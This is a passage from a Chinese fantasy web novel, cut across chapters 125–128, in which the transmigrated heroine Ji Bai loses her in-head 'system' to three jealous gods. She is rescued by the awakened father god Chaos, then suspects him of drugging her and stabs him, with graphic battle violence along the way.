查奥斯垂下眼帘目光落在自己白皙的手腕上,轻声问:“姐姐,你现在正在牵着我的手吗?” 季白忽而感觉有几分不对,正要立刻松开他,却见查奥斯反手抓住她的胳膊,以迅雷不及掩耳之势快速扯下了她头顶的隐形帽子。 跟了季白一整个副本的帽子轻飘飘地落在脚边,下一刻就被忽而窜起的火苗烧成了灰烬。 一切发生得太快,快到让季白来不及反应。 等她回神时就看见查奥斯眼中一闪而过的绿光,他被赫瑞特控制了! “姐姐。”查奥斯忽而捂着头大叫起来,“我的头好疼。” 眼前确实是查奥斯无疑,她不可能认错他的气息。 季白立即拉着他就要施展空间法咒离开这儿,然而下一瞬脚下的土地蓦地塌陷,无数星光化为巨网将她笼在其中。 赫瑞特的身影蓦地出现在季白眼前,那双特别的绿眸紧盯着季白,随后又落在季白紧握着查奥斯胳膊的手腕上,殷红的唇角微微上扬拉扯出一抹讥讽的笑意。 “小白,现在又轮到他了吗?” 季白那日听到了涅塞斯和他们的谈话,知晓他们已经察觉到系统的存在,因而也不瞒着,直接了当地点头。 “没错,现在轮到他了。” 赫瑞特见如今的季白竟毫不遮掩了,先是不可置信地瞪大了眼睛随后又轻笑了一声,眼中是爱恨交织的怨与不甘以及……深埋在眼底不被人所发现的不舍。 “你现在……你现在连骗一骗我,都不愿意了吗?” “你不是都已经从涅塞斯那儿知道真相了吗?”季白故意刺激他,“没错,你对我来说已经没有价值了,我又何必继续虚情假意地骗你呢?” “赫瑞特,你又何必做出这种委屈的样子,你骗我的还少吗?” 查奥斯护在季白身前,充满敌意地瞪着赫瑞特。 “你不准欺负姐姐。” 季白的每一个字都如同尖刀般扎在赫瑞特的心上。 这一刻他无比清楚地认识到季白对他从来都没有半分的情意,她……不爱他,她一点也不爱他。 可哪怕他知道,他还是……放不下。 查奥斯的呵斥将他的注意力又重新拉了回来,他的目光对上一脸怒容的查奥斯,嘴角勾起一抹带有恶意的笑。 “你现在这么护着她,也总有你后悔的时候。”赫瑞特一步一步地往后退,音量不减反增。 他大笑着,笑声仿佛能穿透云霄。 “她不爱我,也绝不会爱你。” 查奥斯眨了眨眼,似是不太明白他话里的意思,又似是不明白他为何发笑。 他回过头看向季白,轻声问:“姐姐,你,不爱我吗?” “可我……好像很爱姐姐。” “我总是会想到姐姐,看不到姐姐我就会伤心,看见姐姐我就会开心,看见有人欺负姐姐我就会生气,有有趣的,好吃的东西也想要分给姐姐,想要每天都和姐姐在一起,这样算是爱吗?” 眼前的阵法逐渐成型,季白压根没有功夫理会查奥斯在说什么,她只觉自己的身上好似是背了一块大石头压得她快要喘不过气,就连她体内浩渺的神力都被压制住了。 这种熟悉的感觉熟悉的阵法让她立刻就想起了教皇给她看的回忆,她……会和曾经的她一样死在这儿吗? 那她真是越活越窝囊了。 至少她的前世还杀了三十多位神明,而她却被区区三位困住了。 查奥斯再笨也看出了季白的不正常,他立即扶住满身是汗的季白,慌忙问:“姐姐,你怎么了?很难受吗,我带你离开这儿。” 查奥斯说着就将季白背在了身上,不管不顾地背着她离开,好似看不见他们面前的星网一样。 这时,泊里与涅塞斯一同现身再次对着眼前的阵法施加神力。 季白浑浑噩噩地趴在查奥斯的背上只觉得好像有什么东西被某种强大的力量生生从她的体内拔出,像是拔了她的一根骨头,又好似是硬扯着她灵魂中的某一块。 疼得她撕心裂肺,几欲晕厥,完全顾不上外界到底发生了什么。 “赫瑞特!”涅塞斯急声唤道,“快!快用幻阵困住查奥斯!不能让他带着季白离开这儿!” 赫瑞特闻言看了眼阵法中的两人,他并没有立即动手,反而回眸问涅塞斯,“这阵法当真能将世外之人从小白的身体里剥离吗?” “能不能你很快就知道答案了。” 赫瑞特垂眸不语,似是在思索到底该不该动手。 上一次他曾亲手放走季白,可这一次,他或许又后悔了。 “你还不动手?”涅塞斯催问。 赫瑞特闪身没入阵法中,抬手朝查奥斯释放了夹杂着彼岸花香的神力。 暗红色的神力在顷刻间化为足以迷惑人心的幻阵立即将本就神志混沌的查奥斯拉入了幻阵中,他应声而倒,一头栽在了地上,眼看背上的季白也要被甩出去,赫瑞特立时稳稳地接住了她。 时隔多日,他又一次拥上了季白,掌心下是他熟悉的柔软肌肤,鼻尖也弥散着属于她的味道。 他每次靠近她最先升起的就是无法克制的欲望,想要占有她,拥有她的欲望。 可这一次……却不是了。 季白在疼痛中好似获得了一点点愉悦的感觉,就像是某种带有麻醉作用的毒药不仅隔绝了身体的痛感还带来了无比愉悦的快感,这种快感让季白有一点点熟悉。 她缓缓睁开眼眼前是铺天盖地的星网,而她的身边躺着早已人事不省的查奥斯。 眼下想要出去只能靠自己了。 季白的意识虽然清醒了,但神力依旧被压制着,那种拉扯感还在她的体内不断上演。 只听耳边忽而传来一声尖锐刺耳的鸣叫,像是濒死的鸟所发出的最后一声求救,又像是高昂的预警,刺得季白耳朵发疼。 紧接着是滋啦滋啦的电流声,像是系统曾经损坏故障时所发出的警报。 季白在一瞬间就明白了,泊里他们的目标不是她,而是……她体内的系统,他们口中的世外之人。 他们想要斩断她和系统的关系,永远留下她! 季白意识到这一点后彻底慌了神,系统是她最后的依仗,若是他们真能损坏系统,那她就再也回不去了! 不可能吧? 他们再厉害也只是副本中的人物,怎么可能拥有超出副本之外的力量呢? 季白这么想着,下一刻耳边的鸣叫就戛然而止,好似那只不断求救挣扎的鸟彻底死去了。 没有她的召唤,任务栏却无故出现在季白眼前,下一瞬,任务栏就在神力的作用下被挤压成了一个球体,紧接着…… 蓦地在她眼前炸开,散落的光点,竟有几分像美丽的烟火。 不……不可能。 季白惨白着脸看着眼前发生的一切,她拼了命地在脑海中召唤系统,点击着任务栏,然而一无所获,好似系统从来没有存在过一样。 疲乏至极的身体蓦地瘫软在地,不……不可能。 没有了系统,她还能脱离副本吗? 126 第126章 密密麻麻的星网化作一场流星雨向她砸来,每一块都好似是一座能将她压垮的山。 拔除掉她身上的系统后,他们仍不肯善罢甘休,还要毁掉她的肉身,最后再抽出她的灵魂送她转世。 她又会变成一位无知无觉任由他们玩弄的天真少女。 季白想到这儿,没由来地感到一阵恶心,若她真的再也不能离开这个副本,她也绝不会落在他们手中任由他们玩弄。 季白知晓自己今日怕是逃不脱了,但她也不想成全了他们任由他们取出她的灵魂再次投入他们的游戏中。 她闭上眼准备用最后的力量毁掉自己的灵魂,却忽而听见远方传来一声龙吟。 季白抬眸看去,就见天边出现一条足以遮天蔽日的巨龙。 它不是早就走了吗,怎么会突然出现在这儿? 巨龙摆动着龙尾和不要命似得朝泊里他们撞了过去,泊里见状忙腾出一只手抽剑去防。 只听得“铮”的一声,龙角与神剑在半空中相撞。 两股力量不相上下,可他们周围的一切却遭了殃,方圆百里的大树被连根拔起,就近的山头也被这股冲击的力量移为了平地。 看似是不相上下,可季白清楚地知道小青龙不是泊里的对手。 小青龙已用尽了全力,泊里却只用了不到半成力量。 泊里眸光冷肃,抬手用力挥出一剑,只见一道无比强横的力量朝小青龙攻去,剑光径直劈在它身上,坚不可摧的鳞片竟被这一击砍落大半露出他粉红的血肉。 泊里眯着眼睛打量了一会,总算认出了它是谁。 万年前总是跟在季白身后惹人讨厌的小怪物。 季白称它为龙,总是无比亲昵地喊着小青龙小青龙,让它缠在她的手腕上日夜不离。 这怪物连翅膀都没有,哪配得上称之为龙,就是一条滑溜溜的惹人厌恶的泥鳅。 可就是这样的怪物却享有他们三都从未有过的待遇,这让泊里如何甘心,又如何能喜欢它? 泊里转过头问涅塞斯:“你没杀它?” 当年季白死后,这青龙也疯了般要给季白报仇,还几次三番要杀他们,泊里当时就欲杀他,最后是涅塞斯出手讨了过去。 泊里以为以涅塞斯的秉性,早就将其斩杀了,没想到竟留到了今日。 涅塞斯眯了眯眼,他敏锐地从青龙身上察觉到了季白的神力,立时就明白是季白救了它。 “杀了吧。”涅塞斯轻描淡写地说,“我也没想到它还活着。” 泊里闻言转头就对准青龙再次挥下一剑。 “这一剑定叫你碎尸万段。” 季白立时就从泊里高举的神剑中感受到了毁天灭地的威力。 这一剑真的会要了小青龙的命! 她顾不得多想,拼尽全力大呵一声:“泊里!不要!” 泊里垂眸看向在阵法里躲躲藏藏一脸狼狈的季白,白嫩的小脸上满是被碎石擦出的血痕,被汗浸得透湿的乌发随意地搭在脑后,那双胜过世间一切珠宝的眼睛正哀求地看着他。 真可怜啊。 泊里想。 如果她能一直这样乖乖听话就好了,可她总是不乖,总是想要逃离他。 “求你,不要杀他。” 季白颤着唇说出这句哀求,小青龙是曾经的她一手养大,它已经为救她死过一次了,她不想看着它又一次白白牺牲。 它明明已经得到了自由,得到了健全的身体,它完全可以远远躲开,何必要来送死呢。 泊里居高临下地看着她,手中的剑却缓了缓,似乎是在思索究竟要不要放过它。 下一刻异变陡生,原本已经奄奄一息的小青龙却忽而和打了鸡血般用力朝季白的方向飞来。 涅塞斯皱眉道:“泊里,你在犹豫什么?杀了它,小白现在为它哀求,可很快她就会忘记一切,她永远也不会知道是你杀了她的爱宠,甚至也永远不会想起小青龙是谁。” 季白一面闪身躲避朝她砸来的巨石,一面快步移至阵法的边缘,急道:“你别管我了,你快走,我压根不是你要找的主人。” 巨龙浑厚而焦急的声音传入季白耳中,这一次不是属于孩子的童音,也不是历经沧桑的老者,而是成熟稳重的中年声。 “是不是,我说了算,难道我还能不认识养我长大的主人吗?” “这一次我一定要救你出来!” 同样的事情万年前已经上演过一次了,上一次它贪玩没能陪在她身边,这一次它说什么也不会离开她,就算死它也应该和主人死在一起。 季白心头一震,一种陌生的温暖情绪传遍全身。 可眼下危机四伏,实在不是感动的好时机。 季白正要说话,却见一道剑光从小青龙背后闪来,泊里又一次出手了。 季白尖叫提醒:“快躲开!” 同时,季白拼了命地往小青龙的方向赶,然而她的身子却重重撞上一道无形的屏障。 撞得她全身发疼,好似骨头都散了架。 可季白却顾不上身上的疼痛,用最后的神力化作护盾朝小青龙飞去。 这本是季白留存下来用来死的力量,如今却给了小青龙求它生。 只见青光一闪神力径直撞上结界,可这一次竟没被结界拦住,反而还撞开了一道碗大的口子。 季白神力所化作的护盾终是赶在剑光到来前护在了小青龙的背后,然而,她释放的神力在刚刚撞破结界时已耗损了大半,如今又如何能抵挡泊里的全力一击? 剑光刚至,就见季白的青色护盾在耀眼圣洁的白光下被碾成了飞灰,与之一同陨落的……是在死前最后一秒还在朝她奔来的小青龙。 季白蓦地瞪大了眼,眼睁睁看着剑光将小青龙的身体绞成了碎肉,鲜红的血化成如瀑大雨夹杂着粉色的肉块铺满整片大地,浓郁的血腥味铺天盖地地往季白的鼻孔,嘴巴里钻,就算屏住呼吸,也好似钻进了她的眼睛里蛰得她落下泪。 死了。 那只可爱的小龙又一次为了救她而死。 她不明白它为什么要来,她明明和它说得很清楚,明明说过她不是它的主人,明明说过她不需要它。 为什么明知不敌,却还要自投罗网? 泊里一剑挥下后,目光就落回在浑身是血,失魂落魄的季白身上,他的心脏有一瞬间的阵痛,好似又回到了当初被她剖开胸膛的时候。 他忍不住去猜测,她也会为他流露出这样伤心的神色吗? 如果他死在她面前,她会为他流一滴泪吗? 他恨她的绝情,又恨她的有情中没有他。 涅塞斯湛蓝的眼眸闪了闪,眼底似有一闪而过的泪光,可面上的神色又冷静至极。 “该动手了。” 他没有说该对谁动手,也没说动手做什么,可泊里与赫瑞特都明白了他的意思。 世外之人已除,青龙已死,下一个就轮到季白了。 赫瑞特那张秾艳俊美到失魂的面容上看不出喜乐,上扬的眼眸给人一种满不在乎的感觉。 “你们两个人就足够了吧?”赫瑞特说,“我若分神,查奥斯就该醒了。” 涅塞斯看了眼被赫瑞特压制的查奥斯,查奥斯确实是一个麻烦的家伙。 若非他现在本身就神志不清让擅长幻阵的赫瑞特有可乘之机,他们绝不可能是他的对手。 “泊里,动手。” 涅塞斯干脆利落地下令,随后就祭出神力化作冰刃朝季白的致命处而去,这一击他用了全部的力量,能让季白少受点折磨,死得干脆。 眼看涅塞斯的冰刃与泊里的剑光都逼至眼前,季白却连动一下的力气都没了。 她闭上眼睛,脑海中闪现出一个秘术。 她可以将自己的记忆抽离并保存,或许在千年万年以后她的某一次转世能意外获得这份记忆再次想办法破局。 这是她唯一的办法了。 季白正欲动手时却忽而发觉不对,猛烈的风停了,而早该抵达的攻击也未如约而至。 季白睁开眼就瞧见一人挡在她的身前,从后方看去他的脸依旧无比的稚嫩与青涩,脸颊的婴儿肥使他看上去像一个长不大的少年。 可他转过头看她时,眼神清明又沉稳。 这一眼好似是穿过了数万年的时光终于又落在了她的身上,与她重逢。 “白,好久不见。” 明明还是同一张脸却给人完全不同的感觉,就好似他在一瞬间长大了。 温热的手掌抚上她的脸,略有些粗糙的指腹帮她整理着散在脸颊边的碎发,眼眸却一眨也不眨地盯着她,好似是要把错过的时光都补上似得。 “怎么又弄得这么狼狈?” 一个温热的吻落在她的额头。 “别怕,我在。” 季白对上他浅灰色的眸子,脑海中只有一个想法。 如果查奥斯能早一点恢复神智就好了。 这双眼睛里的神韵,也像在哪里见过,是这个副本里前世的记忆吗? 泊里眼见查奥斯的唇落在季白的额头,率先按捺不住,举剑就朝查奥斯挥去,看那架势似是恨不得将他扒皮抽筋。 涅塞斯紧随其后,眼看计划即将成功,他不想这个时候功亏一篑,不过他在出手前,回首看了赫瑞特一眼。 赫瑞特抬手擦去嘴角的血迹,面上还带着笑意。 “不好意思,查奥斯哪怕疯了,他的意识也比我想象中的还要强。” 涅塞斯眼眸闪了闪,不发一言就转身去助泊里。 世上哪会有那么巧的事,就在他们差点杀掉季白时,查奥斯就醒了。 不仅醒了,还十分凑巧地恢复了神智。 若说没有赫瑞特相助,涅塞斯是一万个不信。 泊里连出三招,可每一剑都轻飘飘地被查奥斯挡了回去。 查奥斯抱着季白立于漂浮的巨石之上,微风拂过他的黑发卷起阵阵花香,那张无比可爱的娃娃脸却说出与他外貌极其不符的话。 “泊里,这么多年你一点长进也没有,如今见了我连句父神也不喊了吗?” 泊里握紧手中的剑,冷声质问:“父神?觊觎吾妻,你也配让我喊你一声父神吗?” 面对泊里的指责,查奥斯脸上却连半分歉意都没有,反而还用看白痴的眼神瞧着泊里。 “泊里,你还真是和人类待一起久了,染上了不知所谓的东西。” 查奥斯撂下这句话后目光依次看过他身后的涅塞斯与赫瑞特,懒洋洋地说:“你们一起上吧,让父神瞧瞧,这万年来你们有没有长进。” 眼见他们四人要打起来,季白却只想趁机跑路。 查奥斯目前来看是个好人,可每位男主刚出场时看起来都像是个好人。 她想先离开这儿,再想办法联系系统。 季白拽了拽查奥斯的衣摆,轻声说:“查奥斯你放我下来吧,不然不方便。” 查奥斯垂眸静静瞧着她,那双眼睛里蕴藏着不符合他长相的沉稳与深邃,好似能透过她的眼睛看进她的心里一般,就在季白心中忐忑不安,疑心是不是被查奥斯看出端倪时,却见查奥斯忽而展颜一笑,不是之前的傻气,而是说不出的温和与安心。 “不用,你就躲在我怀里看着我怎么教训他们三个。” 季白很敏锐地抓住了查奥斯话里的关键点,他用的是教训,而不是杀了。 他,未必可信。 三人互看一眼顿时摆开阵型朝查奥斯攻来,季白还未看清楚查奥斯是如何出招,就见他们三人分别倒栽出去摔在地上。 其中就泊里的情况稍微好一点,用剑撑着身子半跪在地,涅塞斯伤得最重,就连人鱼的原型都被查奥斯打出来了。 季白暗自高兴,只恨不能自己下去补上两脚,这时,季白忽而听见一道微弱的声音。 「恭喜……宿主已……已成功完……完成任务,可送……回。」 这道声音像是被人刻意拦截过一般断断续续地在季白脑中响起还夹杂着滋啦滋啦的电流声。 季白大喜过望,系统还在,她是不是还有机会离开这儿? 季白忍不住想要立刻询问系统该如何离开,却又害怕他们有所察觉,只能先按捺下激动的心情,等待着系统的下一步动作。 一直吐血的涅塞斯眼睫闪了闪,他擦去嘴角的痕迹,撑着权杖勉强站起来与查奥斯对话。 “父神,万年前我们都有同一个目标,万年后我想我们的初心也从未改变,实在没有必要闹到如今的地步。” 季白一听涅塞斯说话就立即警醒起来,她所遭受的一切苦难都是涅塞斯在主导。 若没有涅塞斯他们不会知道她在利用他们,也不会知道她的身上有系统,也是他一直坚定地提出要杀掉她送她去转世。 季白生怕涅塞斯再说下去会蛊惑得查奥斯也加入他们,就连忙拽了拽查奥斯的衣角,低声说:“查奥斯,我们走吧,我不想待在这儿了。” 查奥斯原本神色冷淡地盯着涅塞斯,眼中是遮不住的厌烦,可当他感知到怀里的人无比依赖地轻拽他衣角时,浅灰色的眸中顿时涌上缱绻的温情。 他垂眸凝望着她的眼睛,声音清透又沉稳,给人一种安心的可靠感。 “好,我们走。” 查奥斯说完这句话后,再次冰冷冷地看向涅塞斯。 “我与你们从来不是一路人。” “我不杀你们,是可怜如今众神凋零,神界只留下你们三位,但这并不代表我会一次又一次地容忍你们。” 查奥斯的目光缓慢地扫视过在场的每一位。 “若你们再对季白下手,我绝不会留情。” 查奥斯说完也不顾他们作何反应抱着季白就离开了这儿,转瞬之间,季白就和查奥斯来到了一棵无比巨大的树下。 季白抬头看去,只见眼前的树高耸入云好似看不见尽头。 “查奥斯,这是哪儿?” “我们的家。”查奥斯握住季白的手,浅灰色的眸子专注地盯着她,“抱歉,我意识不清的这些年,你一定受了很多苦。” “幸好,你又一次回来了。” 季白弯眸笑了笑,“其实还好啦,很多事情我都记不清了。” “查奥斯,你比他们都要厉害,为什么……之前会是那个样子?” 查奥斯低头吻了下季白的额头,“没什么,只是一些该付的代价。” 该付的代价? 查奥斯见季白一脸不解,习惯性地抬手揉了揉季白的发顶,轻声说:“都是过去的事了,白不必在意。” 查奥斯说着忽而张开手掌覆在季白的头顶,五指紧贴着头骨,季白瞬时就感到有五道温和的暖流从头顶没入她的体内。 “你神力枯竭,神识也未完全恢复,这几日/你先跟着我修行。”查奥斯说,“我先帮你恢复神识,待你神识恢复,神力也可恢复至当年的巅峰。” 季白心中微惊,这个副本里的其他男主都巴不得她成为软弱可欺的季白,好借此掌控她。 他却说要帮她恢复之前的实力,可季白转瞬间又想到了最开始的涅塞斯,他也是以老师的身份接近她…… 查奥斯似是看出季白的惊讶,平静地收回手道:“我希望你能独步天下,这样我不在的时候你也不会被别人欺负了。” 他静静看着她,眼底似乎藏着潮湿的雨,就连嘴角的笑意都显得有些苦涩。 “可我又怕你太厉害惹出连我也庇护不了的事。” 季白移开视线不看他,轻声问:“他们叫你父神,我也该这么叫你吗?” “听你的语气好像是我曾经的老师。” 季白说到这儿,想起了上一个副本中的卫云台。 她的目光重新看向查奥斯,认真端详着他的眉眼,似是想要判断他到底会不会和涅塞斯他们一样为了留下她宁愿杀死她。 “你从前唤我的名字。” 接下来的几天查奥斯果真同他所说的那般带着她修行,季白明显感觉到自己的力量越来越强。 不过有一点是让查奥斯都感觉到怪,按理说以季白现在的力量早就该觉醒之前的记忆了,可季白对于前世的记忆始终不能连贯,只有几个关键画面,还是从先前的神器中得来的。 查奥斯这几天就在为这件事忙碌,如果说涅塞斯他们是怕让季白想起来了,那么查奥斯就是怕季白想不起来。 季白估摸着查奥斯这么希望她能想起来,那么至少说明查奥斯曾经没有做过对不起她的事。 季白对于恢复这个副本中前世记忆这件事并没有太大的兴趣,她现在最想做的事就是想尽快联系上系统离开这儿。 可系统被涅塞斯他们抽离后就一直处于离线状态,若非那天她曾听见系统的声音,她几乎都要以为系统彻底消失了。 这几天她趁查奥斯外出寻找治疗她神魂的天材地宝时,一直试图在心中联系系统,可始终没有音讯。 这日查奥斯又出门去了,说是要替她寻一株神药,待她吃下定能想起往事。 他离开前为防涅塞斯他们,还特意做了极为周密的结界。 查奥斯一走,季白就又开始联系系统,然而还是无人回应她。 正当季白准备放弃时,脑海中又忽而传来断断续续的电子音。 【荆……荆……荆棘。】 季白还未听全,声音又好似信号不好一般断掉了。 荆棘岭? 难道系统被他们抽出后因过于虚弱所以一直都留在荆棘岭吗? 季白垂下眼帘将心思重新放回在修行上,看来她得再去一趟荆棘岭。 冷寂空阔的华美宫殿走进了一位模样稚嫩的少年,他穿过大殿径直朝台阶之上的王座走去。 王座上静静坐着一条容颜倾城,雌雄难辨的人鱼,待那少年走至近前时,他依旧一动不动好似是死了。 查奥斯在他面前站定,冷淡开口。 “涅塞斯,别装死。” 涅塞斯缓缓睁开眼,定定看着眼前的人,明明不是查奥斯的对手,可眼中却未有半分惧怕,反而多了一分笃定。 “你来找我要金羽玉草,你想把它给季白服下让她想起一切。” “既然知道我来做什么,还不把东西拿出来?” “东西我可以给你。”涅塞斯说,“但你以为让她恢复记忆她就会留下吗?” “当初是你将季白的另一半神魂送往异世,哪怕你倾尽神宫所有的天材地宝也无法保证她另一半神魂的安全,你的混沌疯癫是送她安全离开后的代价,对吗?” “金羽玉草。”查奥斯说,“不要让我再说第二遍。” 涅塞斯轻笑,“你就这么有自信,自信她在得知所有的一切后会承你的好,会安心留在你身边。” “可你我又怎知异世是什么样的,或许那个地方比我们这儿好上无数倍,不,在小白心里异世就是比这个世界好,不然为何小白自诞生以来就一直与我们格格不入,一心想着要离开这儿。” “那条独一无二的青龙,那些自成体系的文字,那些无比精妙的哲语都来自于我们不知道的世界。” “父神,我们可以合作的。”涅塞斯掌心中出现两株相近的草药,“像从前一样永远地留下她不好吗?你明明深爱她又为何要把她往外推。” 查奥斯盯着涅塞斯掌心里的神草不说话。 涅塞斯也不急,徐徐道:“左边的是你要的金羽玉草可助小白想起一切,右边的是银羽忘草可令季白忘记一*切。” “父神,你不是最擅长养育神明吗?让季白吃下它,你可在白纸上任意涂抹。” 查奥斯冷冷看了涅塞斯一眼,微微动了动手指,涅塞斯左边的神草就到了查奥斯的手里。 “我不是你。”查奥斯说,“我喜欢原原本本的她,哪怕她会离我远去。” 涅塞斯听到这儿,忍不住嗤笑一声,抬手鼓起掌来。 “父神大人真是正人君子,可你莫不是忘了,第一位阻拦小白离开的神,不就是你吗?” “是你,绝了季白离开的路。” 127 第127章 季白闭眼将体内的神力重新轮转了一遍,一遍结束后,无比强横的神力充斥在季白身体里的每一个角落。 季白隐隐察觉自己体内的最深处似乎有什么东西将要破土而出,脑海中也不断浮现出过往的画面。 忽而,大量如潮水般的记忆蓦地翻涌而上,凶猛且强横地冲击着她的大脑,让她险些受不住刺激晕了过去。 她一幕一幕地看了过去,随着时间流逝记忆复苏所带来的疼痛也逐渐和缓。 她正要睁开眼就听见有脚步声从远方传来,是查奥斯回来了。 “白。”查奥斯一进门就冲她露出一抹浅笑,浅灰色的眼眸中是压抑不住的喜悦,“我找到能助你恢复记忆的神药了。” 季白对上他的眸子正想告诉他,她已经想起来了,可看着这双眼睛,到口的话又压了下去,改成弯眸一笑,“是吗?那太好了,不过这次的药真的有用吗?” “这段时间,你用尽了各种方法恢复我的记忆,可始终没有效果。” 在季白的记忆中查奥斯对她一直很好,但他的好更像是长者对晚辈的关怀,副本中的原主也是以对待令人尊敬的前辈长者来对待查奥斯的。 若非季白进入副本后又遇上了查奥斯,她甚至都不知道查奥斯居然也喜欢原主。 季白如今拥有的记忆就好似是以旁观者的角度看了一部记录片,她知道发生了什么,却不知道主角们心里在想什么。 不过……有一件事,季白很在意。 从原主种种行为中,季白可以肯定原主的灵魂同她一样也是来自另一个世界,或者说…… 这个副本中的季白就是在上一个副本中死去的季白,因为哪怕她极力掩藏自己,极力学习如何和其他神明一样做一位正常的神明,但依旧能从她的战斗风格以及言谈中看出太清宗季白仙人的痕迹。 季白看得出来她很寂寞,很孤独,与这个世界格格不入,她一直在试图离开这个世界,但这个秘密……她只告诉过查奥斯一人。 后来,神界就发生因有神明强行突破本世界被天地规则所抹杀的事,查奥斯也暗示过季白好几次强行突破世界太过危险,神生漫长,不如慢慢再找稳妥的办法,他也会帮她。 可直到季白因实在看不惯其余神明将人类视作牲畜的行为愤然出手,导致被众神报复致死时,查奥斯也没有帮她找到离开本世界的方法。 他是极为强大的父神,他能在季白死后把她脆弱的灵魂送往它界稳固神魂,为何反而在季白活着的时候没有办法呢? 季白时刻谨记着副本里没有正常人,因而也就多留了一个心眼。 不过季白如今有了这一部分的记忆总算能理解为何原主身为神明,反而还要帮助人类反神明。 她哪怕在仙侠世界里爱错了人,但始终是卫云台的徒弟,她深受卫云台教导以天下苍生为己任,以斩妖除魔为已念,守护百姓,是她刻在骨子里的信念。 她怎么可能容忍……身边名为神明实为恶魔的家伙一直残害百姓。 她与这个不开化的世界格格不入,唯有后来偶尔得来的小青龙是她唯一的同伴。 查奥斯脸上的笑容越发真切了。 “没关系,我们有的是时间慢慢试。” 又是这句熟悉的话。 季白心中警铃大作,但面上却不动声色,反而笑得越发甜美。 “好。”季白说,“还好有你在,不然我早就被涅塞斯他们杀掉了。” 查奥斯抬手摸了摸她的发顶,轻声说:“有我在,谁也伤不了你。” 话落,他掌心向上一翻,手中就出现一株光彩夺目的草药,他将它递至季白面前,道: “这是金羽玉草,白吃下后就能想起从前的事。” 季白垂下眼帘盯着近在咫尺的草药,入嘴的东西季白一向慎重,可若她不吃就是摆明不信任查奥斯,如今涅塞斯等人都想着让她死,若她再得罪查奥斯就彻底死路一条了。 季白从查奥斯手中接过草药,笑着回道:“好。” 说完,季白又一脸愧疚地抬手轻抚查奥斯的脸,“抱歉啊,因为我的事让你这么费心。” 查奥斯浅灰色的眸子紧盯着季白的眼睛,好似要透过这扇窗看进她的心里去,看得季白心中直打鼓。 手背传来滚烫的温度,季白本能地就想要抽出手,却被查奥斯按得很紧,他微微偏了偏头,有那么一瞬间像极了之前傻乎乎对着季白撒娇的查奥斯。 “白,你我之间不用这么客气。” 季白眨了眨眼,装作懵懂又感动的样子看着他。 “查奥斯,你为什么对我这么好?”季白说着,眼中流下一行泪,“你要是早一点醒过来就好了。” 这行泪好似是落进了查奥斯的心里,搅得他整颗心都乱了。 他闭上眼睛将人揽进怀中,轻声说:“抱歉,是我不好。” 季白轻声哽咽着,脑子则在琢磨着该拿这株神草怎么办,忽而,她脑中灵光一闪,想到了一个一箭双雕的好主意。 “查奥斯,小青龙为了救我,死在了荆棘岭,我想回去看看,能不能找到它的神魂,想办法复活它。” 许是季白的眼泪起了效果,查奥斯毫不犹豫地就同意了。 “好,我陪你一起去。”查奥斯轻拍着季白的后背,安抚道,“别哭了,有我在,我会帮你。” 季白抹了抹眼角的泪,问:“那我们现在就去,好不好?” 查奥斯捧上季白的小脸,略有些粗糙的指腹帮着她拭去眼角的泪。 “别急,吃了神草再去也不迟。”查奥斯温柔的语气中又带着一丝不容反抗的强势,“吃下神草,你会睡上一觉,等睡醒后就什么都想起来了。” 看来这株草今天是非吃不可了。 季白偷偷掐了掐指尖,面上笑着说:“好,我现在就吃。” 季白着手中的神草,随后两眼一闭就将它塞进了嘴里,缓慢咀嚼着吞下。 看起来是乖乖吃下去了,实则藏在嗓子眼里,季白还悄悄给入口的草药加了一层神力用做隔离。 查奥斯见季白吞下后,一脸紧张地将她扶至床边躺下。 “白,感觉怎么样?” 季白佯装一脸迷糊的样子,眼皮不受控地打着架,似是困极了的样子,随后一头栽到床上睡了过去。 查奥斯垂下眼眸看着她,耀眼的灯火却在他眼中印不出分毫情绪。 他动作轻柔地给她拉上薄毯,小心翼翼地盖好,随后转身出了房间,在一墙之隔的走廊上正站着容颜倾城,美得雌雄莫辨的涅塞斯。 那双如海般湛蓝的眼眸低垂着观瞧下方的景色,他听见身后的门被人推开后,转身看向来人。 两人对视一眼,不必多言就已是心照不宣。 涅塞斯的目光朝门内看了一眼,出言提醒道,“小白聪明机警,你喂她的东西她未必会老老实实吃下去。” 查奥斯嘴角挂着一抹笑,“不,她很信任我,也很依赖我。” 涅塞斯看着他一脸坠于幸福的模样,没有说话。 对他而言,他的目的已经达到了。 从始至终他要的就是季白能一直留在这个世界,至于她暂时属于谁,喜欢谁,都不重要。 只要留下来,他总有机会慢慢来。 季白躺在床上装睡,可精神却没有一刻放松的时候,她敏锐地察觉到门外有人,小心翼翼地放出神识探查,立时就听见了涅塞斯与查奥斯的对话。 季白心中一紧,虽然还不知道她刚刚吞下的神草到底是什么东西,但有涅塞斯在肯定不是什么好东西。 不是要她的命,就是希望她忘记一切。 季白这么想着连忙将神药吐出来藏在衣服里,刚做完一切,季白就听见门外又传来脚步声,连忙摆好熟睡的姿势,心里却在盘算着该如何从这儿逃出去。 如今查奥斯已然对她起疑,若再拖下去,他的防备只会越来越深,唯今之计只能杀他个出其不意。 季白这儿还留有一件神器,是当初赫瑞特给她让她对付泊里的匕首,这是一件难得的厉害法器,再加上有她的神力加持,就算是查奥斯,季白也有信心可以重创他。 季白清楚地感知到查奥斯正在一步步地靠近她,衣料擦过床榻响起窸窸窣窣的声音,随后床榻的边缘塌下去一块,一切好似都变成了无比清晰的慢动作。 季白强压下自己狂跳的心脏,平缓着呼吸,耐心等待着一个最佳的动手时机。 直至,一双温暖的手覆上她的脸颊,季白立时睁开眼,以迅雷不及掩耳之势的速度举刀对准查奥斯的心脏重重刺了过去。 匕首刺穿血肉,直捣查奥斯的心脏,为防力气不够,季白还特意又用力转了转匕首搅碎他的心脏。 查奥斯瞪大双眼,不可置信地看向季白,粉嫩的唇瓣在一刹那变得苍白无色。 “为……为什么杀我?” 我对你不好吗? 我救了你,我帮你恢复神力,我给你我所有的一切,为什么……为什么还要杀我? 我做了这么多,难道……你连一点点的感动都没有吗? 128 第128章 季白面无表情地又将匕首往里推了推,眼神狠厉又凉薄。 “你刚刚给我吃的到底是什么?” 查奥斯灰败的眼睛闪了闪,似是有话想要对她说,可唇瓣蠕动了半天,吐出的只有连不成音节的气音。 同样一柄匕首凡人之躯的季白只能勉强定住泊里一段时间,而全盛时期的她却能令众神之父查奥斯陷入永恒的沉睡。 房间的动静很快引起涅塞斯的注意,他行事速来谨慎,知晓以他如今的实力绝不是季白的对手,因而并没有立即冲进来救下查奥斯,反而在第一时间就给泊里与赫瑞特去了信,让他们速速赶往此地。 涅塞斯送完信后,正欲布下一道结界困住季白,可他刚一起手就见季白闪现至他面前。 